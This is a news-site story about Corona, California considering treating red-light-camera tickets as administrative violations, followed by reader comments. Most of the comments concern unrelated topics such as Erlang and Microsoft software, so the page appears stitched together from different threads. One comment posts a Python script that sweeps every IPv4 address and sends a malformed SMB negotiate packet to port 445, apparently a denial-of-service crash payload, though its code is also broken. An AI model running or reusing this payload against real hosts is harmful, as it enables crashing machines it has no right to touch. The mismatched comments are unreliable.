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CA City Mulls Evading the Law On Red-Light Cameras

TechDirt is running a piece on Corona, CA, where officials are considering ignoring a California law that authorizes red-light cameras — cutting the state and the county out of their portion of the take — in order to increase the city's revenue. The story was first reported a week ago. The majority of tickets are being (automatically) issued for "California stops" before a right turn on red, which studies have shown rarely contribute to an accident. TechDirt notes the apparent unconstitutionality of what Corona proposes to do: "The problem here is that Corona is shredding the Sixth Amendment of the US Constitution, the right to a trial by jury. By reclassifying a moving violation... to an administrative violation... Corona is doing something really nefarious. In order to appeal an administrative citation you have to admit guilt, pay the full fine, and then apply for a hearing in front of an administrative official, not a judge in a court. The city could simply deny all hearings for administrative violations or schedule them far out in advance knowing full well that they have your money, which you had to pay before you could appeal."

5 of 366 comments (clear)

  1. I've seen this before... by mcrbids · · Score: 5, Interesting

    It was more of a programming language than an Operating System, but ERLANG has the stuff to do multi-core, well. Using ERLANG, they've actually achieved nine nines of uptime. That works out to well under a SECOND of downtime in a year. It scales (near) linearly as the number of cores go up, IO is the limitation.

    You can read all about it here. Concepts like message passing and immutability is what makes it work.

    Erlang actually lets you update the program while it's running. It has extensive error recovery. It's lack of shared state means you can not only go multi-core, but multi-system over networks - invisibly.

    Seriously, It's the cat's meow for ultra-high-end high-performance, industrial-grade software solutions. If I were writing a stock exchange management system, I would probably consider ERLANG.

    --
    I have no problem with your religion until you decide it's reason to deprive others of the truth.
  2. Re:Genuine innovation by 1s44c · · Score: 4, Interesting

    I think the 'Genuine Innovation' bit comes in when they lie about having done it first in some huge expensive marketing campaign.

    Can you provide an example of this ?

    I can provide a few.

    MS-DOS was QDOS brought and rebranded. MS didn't create it yet they told everyone they did.

    The windows desktop environment was a mac or PARC or X clone, not sure which. It wasn't new but they pushed it like it was.

    The Windows NT OS was reimplementation of VMS and UNIX systems, only not done nearly as well as either. They called it NT for New Technology and marketing it as the stable 'business' alternative to dos based windows.

    Excel was a Lotus 1-2-3 clone. The pivot tables accountants love so much were copied from Lotus too. They sell their office package like crazy but they didn't develop the core of it.

    Word was a wordstar clone.

    Internet Explorer was a mosaic clone. Although MS are giving it away for nothing they are still marketing it like crazy.

    Active Directory is just a LDAP clone. They market it as something which will solve all the worlds problems.

  3. Re:Genuine innovation by RiotingPacifist · · Score: 4, Interesting

    Can you provide details on how to replicate this behaviour ?

    Install python
    run:
    #!/usr/bin/python
    from socket import socket
    from time import sleep

    while True:
            for a in 255:
                    for b in 255:
                            for c in 255:
                                    for d in 255:
                                    ip_addr = a+"."+b+"."+c+"."+d
                                    host = id_addr, 445
                                    buff = (
                                    "\x00\x00\x00\x90" # Begin SMB header: Session message
                                    "\xff\x53\x4d\x42" # Server Component: SMB
                                    "\x72\x00\x00\x00" # Negociate Protocol
                                    "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
                                    "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
                                    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
                                    "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
                                    "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
                                    "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
                                    "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
                                    "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
                                    "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
                                    "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
                                    "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
                                    "\x30\x30\x32\x00"

                                    )
                                    s = socket()

                                    s.connect(host)
                                    s.send(buff)
                                    s.close()

    --
    IranAir Flight 655 never forget!
  4. What the.... by RingDev · · Score: 5, Interesting

    I don't know what the outage was, but why am I reading comments about open source code, routing, and marshaling in the comments about a constitutional overstep by a local municipality in CA?

    -Rick

    --
    "Most people in the U.S. wouldn't know they live in a tyrannical state if it walked up and grabbed their junk." - MyFirs
  5. Re:prefilled comments by dgatwood · · Score: 4, Interesting

    On the subject of red light cameras, if they become administrative violations, IMHO, the right solution is to simply not pay them. The DMV almost certainly won't refuse to renew your license for such administrative violations because the law only allows parking violations and a few other things to be handled in that manner.. As such, the tickets probably have no teeth unless you do other business with the city and they have laws that would allow them to refuse to do other business with you until you pay the fees.

    --

    Check out my sci-fi/humor trilogy at PatriotsBooks.